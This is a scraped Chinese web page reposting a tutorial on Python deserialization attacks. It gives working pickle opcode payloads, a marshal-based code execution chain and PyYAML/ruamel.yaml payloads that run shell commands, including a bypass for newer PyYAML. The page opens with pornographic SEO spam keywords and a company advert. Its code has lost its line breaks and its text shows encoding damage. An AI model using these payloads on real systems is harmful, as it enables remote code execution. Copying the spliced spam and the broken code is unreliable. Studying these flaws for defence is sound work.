日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關咨詢
選擇下列產(chǎn)品馬上在線溝通
服務時間:8:30-17:00
你可能遇到了下面的問題
關閉右側工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
帶你搞懂Python反序列化

本篇文章給大家?guī)砹岁P于python的相關知識,其中主要介紹了關于反序列化的相關問題,反序列化:pickle.loads() 將字符串反序列化為對象、pickle.load() 從文件中讀取數(shù)據(jù)反序列化,希望對大家有幫助。

創(chuàng)新互聯(lián)公司是一家專注于網(wǎng)站建設、成都網(wǎng)站設計與策劃設計,全椒網(wǎng)站建設哪家好?創(chuàng)新互聯(lián)公司做網(wǎng)站,專注于網(wǎng)站建設10多年,網(wǎng)設計領域的專業(yè)建站公司;建站業(yè)務涵蓋:全椒等地區(qū)。全椒做網(wǎng)站價格咨詢:18982081108

推薦學習:python教程

Pickle

  • 序列化:pickle.dumps() 將對象序列化為字符串、pickle.dump() 將對象序列化后的字符串存儲為文件
  • 反序列化:pickle.loads() 將字符串反序列化為對象、pickle.load() 從文件中讀取數(shù)據(jù)反序列化

可序列化的對象

  • None 、 TrueFalse
  • 整數(shù)、浮點數(shù)、復數(shù)
  • str、byte、bytearray
  • 只包含可封存對象的集合,包括 tuple、list、set 和 dict
  • 定義在模塊最外層的函數(shù)(使用 def 定義,lambda 函數(shù)則不可以)
  • 定義在模塊最外層的內置函數(shù)
  • 定義在模塊最外層的類
  • __dict__ 屬性值或 __getstate__() 函數(shù)的返回值可以被序列化的類(詳見官方文檔的Pickling Class Instances)

反序列化流程

pickle.load()和pickle.loads()方法的底層實現(xiàn)是基于 _Unpickler()方法來反序列化

在反序列化過程中,_Unpickler(以下稱為機器吧)維護了兩個東西:棧區(qū)和存儲區(qū)

為了研究它,需要利用一個調試器 pickletools

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-wUDq6S9E-1642832623478)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20220121114238511.png)]

從圖中可以看出,序列化后的字符串實際上是一串 PVM(Pickle Virtual Machine) 指令碼,指令碼以棧的形式存儲、解析

PVM指令集

完整PVM指令集可以在 pickletools.py 中查看,不同協(xié)議版本使用的指令集略有不同

上圖中的指令碼可以翻譯成:

    0: \x80 PROTO      3  # 協(xié)議版本
    2: ]    EMPTY_LIST  # 將空列表推入棧
    3: (    MARK  # 將標志推入棧
    4: X        BINUNICODE 'a'  # unicode字符
   10: X        BINUNICODE 'b'
   16: X        BINUNICODE 'c'
   22: e        APPENDS    (MARK at 3)  # 將3號標準之后的數(shù)據(jù)推入列表
   23: .    STOP  # 彈出棧中數(shù)據(jù),結束
highest protocol among opcodes = 2

指令集中有幾個重要的指令碼:

  • GLOBAL = b’c’ # 將兩個以換行為結尾的字符串推入棧,第一個是模塊名,第二個是類名,即可以調用全局變量 xxx.xxx 的值
  • REDUCE = b’R’ # 將可調用元組和參數(shù)元組生成的對象推進棧,即__reduce()返回的第一個值作為可執(zhí)行函數(shù),第二個值為參數(shù),執(zhí)行函數(shù)
  • BUILD = b’b’ # 通過__setstate__或更新__dict__完成構建對象,如果對象具有__setstate__方法,則調用anyobject .__setstate__(參數(shù));如果無__setstate__方法,則通過anyobject.__dict__.update(argument)更新值(更新可能會產(chǎn)生變量覆蓋)
  • STOP = b’.’ # 結束

一個更復雜的例子:

import pickleimport pickletoolsclass a_class():
    def __init__(self):
        self.age = 24
        self.status = 'student'
        self.list = ['a', 'b', 'c']a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 優(yōu)化一個已經(jīng)被打包的字符串a(chǎn)_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反匯編一個已經(jīng)被打包的字符串pickletools.dis(a_class_pickle)
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ a_class'
   20: )    EMPTY_TUPLE  # 將空元組推入棧
   21: \x81 NEWOBJ  # 表示前面的棧的內容為一個類(__main__ a_class),之后為一個元組(20行推入的元組),調用cls.__new__(cls, *args)(即用元組中的參數(shù)創(chuàng)建一個實例,這里元組實際為空)
   22: }    EMPTY_DICT  # 將空字典推入棧
   23: (    MARK
   24: X        BINUNICODE 'age'
   32: K        BININT1    24
   34: X        BINUNICODE 'status'
   45: X        BINUNICODE 'student'
   57: X        BINUNICODE 'list'
   66: ]        EMPTY_LIST
   67: (        MARK
   68: X            BINUNICODE 'a'
   74: X            BINUNICODE 'b'
   80: X            BINUNICODE 'c'
   86: e            APPENDS    (MARK at 67)
   87: u        SETITEMS   (MARK at 23)  # 將將從23行開始傳入的值以鍵值對添加到現(xiàn)有字典中
   88: b    BUILD  # 更新字典完成構建
   89: .    STOP
highest protocol among opcodes = 2

常見的函數(shù)執(zhí)行

與函數(shù)執(zhí)行相關的 PVM 指令集有三個: R 、 i 、 o ,所以我們可以從三個方向進行構造:

R

b'''cos
system
(S'whoami'
tR.'''

i

b'''(S'whoami'
ios
system
.'''

o

b'''(cos
system
S'whoami'
o.'''

__reduce()__命令執(zhí)行

__recude()__ 魔法函數(shù)會在反序列化過程結束時自動調用,并返回一個元組。其中,第一個元素是一個可調用對象,在創(chuàng)建該對象的最初版本時調用,第二個元素是可調用對象的參數(shù),使得反序列化時可能造成RCE漏洞

例:

class a_class():
    def __reduce__(self):
        return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.滿足返回一個元組,元組中至少有兩個參數(shù)# 2.第一個參數(shù)是被調用函數(shù) : os.system()# 3.第二個參數(shù)是一個元組:('whoami',),元組中被調用的參數(shù) 'whoami' 為被調用函數(shù)的參數(shù)# 4. 因此序列化時被解析執(zhí)行的代碼是 os.system('whoami')
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
    0: \x80 PROTO      3
    2: c    GLOBAL     'nt system'
   13: X    BINUNICODE 'whoami'
   24: \x85 TUPLE1
   25: R    REDUCE
   26: .    STOP
highest protocol among opcodes = 2

將該字符串反序列化后將會執(zhí)行命令 os.system('whoami')

全局變量覆蓋

__reduce()_利用的是 R 指令碼,造成REC,而利用 GLOBAL = b’c’ 指令碼則可以觸發(fā)全局變量覆蓋

# secret.pya = aaaaaa
# unser.pyimport secretimport pickleclass flag():
    def __init__(self, a):
        self.a = a

your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:
    print('flag:{}'.format(secret_flag.a))else:
    print('No!')

在不知道 secret.a 的情況下要如何獲得 flag 呢?

先嘗試獲得 flag() 的序列化字符串:

class flag():
    def __init__(self, a):
        self.a = a
new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ Flag'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: X    BINUNICODE 'a'
   32: q    BINPUT     3
   34: X    BINUNICODE 'A'
   40: q    BINPUT     4
   42: s    SETITEM
   43: b    BUILD
   44: .    STOP
highest protocol among opcodes = 2

可以看到,在34行進行了傳參,將變量 A 傳入賦值給了a。若將 A 修改為全局變量 secret.a,即將 X BINUNICODE 'A' 改為 c GLOBAL 'secret a'(X\x01\x00\x00\x00A 改為 csecret\na\n)。將該字符串反序列化后,self.a 的值等于 secret.a 的值,成功獲取 flag

利用BUILD指令RCE(不使用R指令)

通過BUILD指令與GLOBAL指令的結合,可以把現(xiàn)有類改寫為os.system或其他函數(shù)

假設某個類原先沒有__setstate__方法,我們可以利用{'__setstate__': os.system}來BUILE這個對象

BUILD指令執(zhí)行時,因為沒有__setstate__方法,所以就執(zhí)行update,這個對象的__setstate__方法就改為了我們指定的os.system

接下來利用'whoami'來再次BUILD這個對象,則會執(zhí)行setstate('whoami'),而此時__setstate__已經(jīng)被我們設置為os.system,因此實現(xiàn)了RCE

例:

代碼中存在一個任意類:

class payload:
    def __init__(self):
        pass

根據(jù)這個類構造 PVM 指令:

    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ payload'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: }    EMPTY_DICT  # 使用BUILD,先放入一個字典
   22: (    MARK  # 放值前先放一個標志
   23: V        UNICODE    '__setstate__'  # 放鍵值對
   37: c        GLOBAL     'nt system'
   48: u        SETITEMS   (MARK at 22)
   49: b    BUILD  # 第一次BUILD
   50: V    UNICODE    'whoami'  # 加參數(shù)
   58: b    BUILD  # 第二次BUILD
   59: .    STOP

將上述 PVM 指令改寫成 bytes 形式:b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.',使用 piclke.loads() 反序列化后成功執(zhí)行命令

利用Marshal模塊造成任意函數(shù)執(zhí)行

pickle 不能將代碼對象序列化,但 python 提供了一個可以序列化代碼對象的模塊 Marshal

但是序列化的代碼對象不再能使用 __reduce()_ 調用,因為__reduce__是利用調用某個可調用對象并傳遞參數(shù)來執(zhí)行的,而我們這個函數(shù)本身就是一個可調用對象 ,我們需要執(zhí)行它,而不是將他作為某個函數(shù)的參數(shù)。隱藏需要利用 typres 模塊來動態(tài)的創(chuàng)建匿名函數(shù)

import marshalimport typesdef code():
    import os    print('hello')
    os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__))  # python2為 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()  # 利用types動態(tài)創(chuàng)建匿名函數(shù)并執(zhí)行

pickle 上使用:

import pickle# 將types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改寫為 PVM 的形式s = b"""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE='
tRtRc__builtin__
globals
(tRS''
tR(tR."""pickle.loads(s)  # 字符串轉換為 bytes

漏洞出現(xiàn)位置

  • 解析認證 token、session 時
  • 將對象 pickle 后存儲在磁盤文件
  • 將對象 pickle 后在網(wǎng)絡中傳輸
  • 參數(shù)傳遞給程序

PyYAML

yaml 是一種標記類語言,類似與 xmljson,各個支持yaml格式的語言都會有自己的實現(xiàn)來進行 yaml 格式的解析(讀取和保存),PyYAML 就是 yaml 的 python 實現(xiàn)

在使用 PyYAML 庫時,若使用了 yaml.load() 而不是 yaml.safe_load() 函數(shù)解析 yaml文件,則會導致反序列化漏洞的產(chǎn)生

原理

PyYAML 有針對 python 語言特有的標簽解析的處理函數(shù)對應列表,其中有三個和對象相關:

!!python/object:          =>  Constructor.construct_python_object!!python/object/apply:    =>  Constructor.construct_python_object_apply!!python/object/new:      =>  Constructor.construct_python_object_new

例如:

# Test.pyimport yamlimport osclass test:
    def __init__(self):
        os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()

該代碼執(zhí)行后,會生成 sample.yml ,并寫入 !!python/object:__main__.test {}

將文件內容改為 !!python/object:Test.test {} 再使用 yaml.load() 解析該 yaml 文件:

import yaml
yaml.load(file('sample.yml', 'w'))

命令成功執(zhí)行。但是命令的執(zhí)行依賴于 Test.py 的存在,因為 yaml.load() 時會根據(jù)yml文件中的指引去讀取 Test.py 中的 test 這個對象(類)。如果刪除 Test.py ,也將運行失敗

Payload

PyYAML < 5.1

想要消除依賴執(zhí)行命令,就需要將其中的類或者函數(shù)換成 python 標準庫中的類或函數(shù),并使用另外兩種 python 標簽:

# 該標簽可以在 PyYAML 解析再入 YAML 數(shù)據(jù)時,動態(tài)的創(chuàng)建 Python 對象!!python/object/apply:    =>  Constructor.construct_python_object_apply# 該標簽會調用 apply!!python/object/new:      =>  Constructor.construct_python_object_new

利用這兩個標簽,就可以構造任意 payload:

!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]

PyYAML >= 5.1

在版本 PyYAML >= 5.1 后,限制了反序列化內置類方法以及導入并使用不存在的反序列化代碼,并且在使用 load() 方法時,需要加上 loader 參數(shù),直接使用時會爆出安全警告

在高版本中之前的 payload 已經(jīng)失效,但可以使用 subporcess.getoutput() 方法繞過檢測:

!!python/object/apply:subprocess.getoutput
- whoami

在最新版本上,命令執(zhí)行成功

ruamel.yaml

ruamel.yaml的用法和PyYAML基本一樣,并且默認支持更新的YAML1.2版本

在ruamel.yaml中反序列化帶參數(shù)的序列化類方法,有以下方法:

  • load(data)
  • load(data, Loader=Loader)
  • load(data, Loader=UnsafeLoader)
  • load(data, Loader=FullLoader)
  • load_all(data)
  • load_all(data, Loader=Loader)
  • load_all(data, Loader=UnSafeLoader)
  • load_all(data, Loader=FullLoader)

我們可以使用上述任何方法,甚至我們也可以通過提供數(shù)據(jù)來反序列化來直接調用load(),它將完美地反序列化它,并且我們的類方法將被執(zhí)行


網(wǎng)站名稱:帶你搞懂Python反序列化
鏈接URL:http://m.5511xx.com/article/copeoce.html